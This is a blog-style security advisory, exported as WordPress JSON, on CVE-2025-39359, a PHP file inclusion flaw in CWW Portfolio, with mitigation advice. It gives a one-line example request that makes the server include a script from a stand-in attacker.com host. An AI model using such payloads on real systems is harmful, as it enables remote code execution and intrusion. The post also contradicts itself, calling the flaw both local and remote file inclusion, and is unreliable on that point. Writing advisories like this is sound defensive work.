{"id":86249,"date":"2026-01-10T08:23:56","date_gmt":"2026-01-10T08:23:56","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-39359-php-local-file-inclusion-vulnerability-in-code-work-web-cww-portfolio","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39359-php-local-file-inclusion-vulnerability-in-code-work-web-cww-portfolio\/","title":{"rendered":"<strong>CVE-2025-39359: PHP Local File Inclusion Vulnerability in Code Work Web CWW Portfolio<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-39359 vulnerability is a significant flaw in Code Work Web&#8217;s CWW Portfolio software. It involves an improper control of filename for Include\/Require Statement in a PHP program, also known as a &#8216;PHP Remote File Inclusion&#8217; vulnerability. This vulnerability can lead to potential system compromise or data leakage, making it a serious risk for any organization utilizing affected versions of CWW Portfolio.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39359<br \/>\nSeverity: High (CVSS: 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise, data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1434027675\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Code Work Web CWW Portfolio | Up to and including 1.3.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP Local File Inclusion vulnerability allows an attacker to include files from remote servers. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script on a remote server and then making a request to the affected application including this script. Due to poor input validation, the application fails to properly sanitize the file name for the PHP Include\/Require statement, allowing for malicious file inclusion.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2997757739\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how this vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In the above example, the attacker&#8217;s malicious script located at &#8220;http:\/\/attacker.com\/malicious_script.txt&#8221; would be included and executed on the vulnerable web server.<\/p>\n<p><strong>Mitigation and Recommendations<\/strong><\/p>\n<p>Users of the affected Code Work Web CWW Portfolio versions are advised to apply the vendor-supplied patch as soon as possible. As an interim solution, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help mitigate the risk. However, it is crucial to note that these are temporary solutions and do not replace the need for patching the underlying vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-39359 vulnerability is a significant flaw in Code Work Web&#8217;s CWW Portfolio software. It involves an improper control of filename for Include\/Require Statement in a PHP program, also known as a &#8216;PHP Remote File Inclusion&#8217; vulnerability. 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